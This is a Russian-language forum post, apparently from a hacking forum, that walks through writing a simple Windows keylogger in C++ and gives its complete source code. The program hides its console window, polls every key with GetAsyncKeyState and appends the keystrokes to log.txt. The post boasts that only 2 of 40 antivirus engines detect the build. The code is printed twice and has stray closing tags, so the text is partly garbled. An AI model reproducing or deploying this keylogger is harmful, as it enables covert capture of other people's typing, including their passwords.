ygroza
Матрос
Куратор
- Регистрация
- 8 Июн 2020
- Сообщения
- 113
- Реакции
- 58
Сегодня разбираем написание простого KeyLogger`а под Windows на С++.
Инклудим библиотеки и включаем пространство имен std:
По детектам после билда 2/40
Инклудим библиотеки и включаем пространство имен std:
#include <iostream>
#include <windows.h>
using namespace std;
Пишем протип функции для сохранения нажатых клавиш в файл:
int save(int _key, char *file);
Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер:
int main() {
FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
save(i, "log.txt");
}
}
}
return 0;
}
Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов:
int save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
Готово)
</windows.h></iostream>
#include <windows.h>
using namespace std;
Пишем протип функции для сохранения нажатых клавиш в файл:
int save(int _key, char *file);
Пишем функцию main(), в которой будем получать клавиши, которые нажимает юзер:
int main() {
FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
save(i, "log.txt");
}
}
}
return 0;
}
Далее пишем функцию save(), которой сохраняем клавиши в файл, в зависимости от defino`в в windows.h. Сохранять можно так-же и через потоки ввода-вывода файлов:
int save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
Готово)
</windows.h></iostream>
По детектам после билда 2/40